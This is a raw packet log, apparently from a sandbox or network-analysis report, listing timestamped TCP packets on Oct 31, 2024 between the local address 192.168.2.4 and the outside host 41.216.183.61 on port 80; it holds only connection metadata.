Oct 31, 2024 03:04:11.014430046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014440060 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014451027 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014494896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014527082 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014539003 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014550924 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014561892 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014590025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014590025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014625072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014873981 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014935970 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014940977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014955997 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.015002012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.015002012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.049374104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049503088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.049515009 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049526930 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049536943 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049626112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.049635887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049686909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049698114 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.049732924 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.049743891 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049762011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.049798012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.049798012 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.051834106 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.051899910 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.051924944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.051935911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.051945925 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.051984072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.052017927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.052076101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.052129030 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.052165985 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.052213907 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.052217960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.052259922 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.052289009 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.052301884 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.052346945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.052685976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.052738905 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.090272903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.090290070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.090377092 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.090447903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.090457916 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.090626955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.090626955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.131186962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131238937 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131249905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131273031 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131283998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131366014 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.131458044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.131596088 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131608009 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131613970 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131623030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.131690025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.166388035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166409969 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166421890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166487932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166527033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166538000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166579962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166591883 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.166709900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.166709900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.166709900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.168728113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168740034 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168750048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168804884 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.168814898 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168831110 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168843031 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168855906 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.168855906 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.168889999 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.168899059 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168911934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.168937922 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.168967962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.208904982 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.208945036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.208957911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.208986044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.209021091 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.248029947 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248040915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248074055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248104095 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.248122931 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248135090 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248143911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.248164892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.248166084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248182058 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.248200893 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.248516083 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248534918 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248544931 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.248578072 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.249203920 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.283226967 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283247948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283260107 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283271074 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283307076 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.283329964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283341885 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283400059 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283411980 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.283478975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.283478975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.283478975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.283528090 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285490990 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285530090 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285541058 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285545111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285569906 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285600901 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285664082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285676003 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285686016 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285712004 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285743952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285749912 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285763025 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.285788059 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.285819054 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.326889992 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.326901913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.326913118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.326925039 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.326986074 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.326986074 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.366370916 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366383076 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366394043 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366405010 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366442919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.366478920 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.366538048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366584063 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.366710901 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366723061 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366733074 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.366765976 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.366796970 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400131941 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400198936 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400199890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400239944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400253057 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400274038 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400293112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400309086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400335073 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400342941 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400353909 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400376081 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400392056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400410891 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400424004 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400454044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400721073 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400754929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400783062 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400793076 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.400808096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.400845051 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402221918 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402259111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402286053 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402293921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402307987 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402350903 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402386904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402424097 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402436972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402472973 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402524948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402559042 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402590990 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402590990 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402601004 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402635098 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.402647972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.402684927 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.442867994 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.442912102 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.442944050 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.442950010 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.442972898 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.442991018 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.481777906 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.481837034 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.481847048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.481861115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.481873989 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.481889009 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.481925011 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.481925964 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.481987953 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.482001066 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.482011080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.482028008 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.482067108 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.482067108 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.516859055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.516918898 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.516930103 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.516974926 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.516976118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517028093 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517033100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517064095 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517074108 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517098904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517112017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517148018 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517184973 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517227888 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517236948 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517261028 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517276049 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517306089 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517488956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517522097 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517544985 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517555952 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517566919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517591000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517606020 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517644882 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517909050 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.517970085 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.517991066 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.518073082 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.518891096 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.518942118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.518990993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519021034 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519046068 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519054890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519069910 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519100904 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519165039 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519198895 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519218922 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519232035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519239902 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519265890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519288063 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519309044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519567013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519618034 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.519706011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.519761086 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.559417963 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.559508085 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.559608936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.559639931 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.559673071 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.559683084 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.559683084 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.559715986 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.598459959 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.598473072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.598484993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.598546028 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.598579884 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.598603010 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.598615885 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.598629951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.598664999 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.600444078 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.633359909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633374929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633387089 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633496046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633507967 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633518934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633526087 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.633675098 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.633688927 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633712053 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633723974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633745909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.633788109 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.633877039 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.634064913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.634076118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.634120941 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.634217978 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.634236097 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.634248018 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.634258986 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.634263992 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.634298086 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.634320021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.635602951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.635644913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.635656118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.635656118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.635724068 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.636308908 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.636321068 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.636342049 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.636373043 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.636404991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.636435986 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.636451006 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.636487961 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.636487961 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.676165104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.676201105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.676213026 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.676223993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.676265955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.676305056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.715297937 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.715311050 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.715353966 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.715396881 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.715440035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.715459108 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.715461016 CET	80	63780	41.216.183.61	192.168.2.4
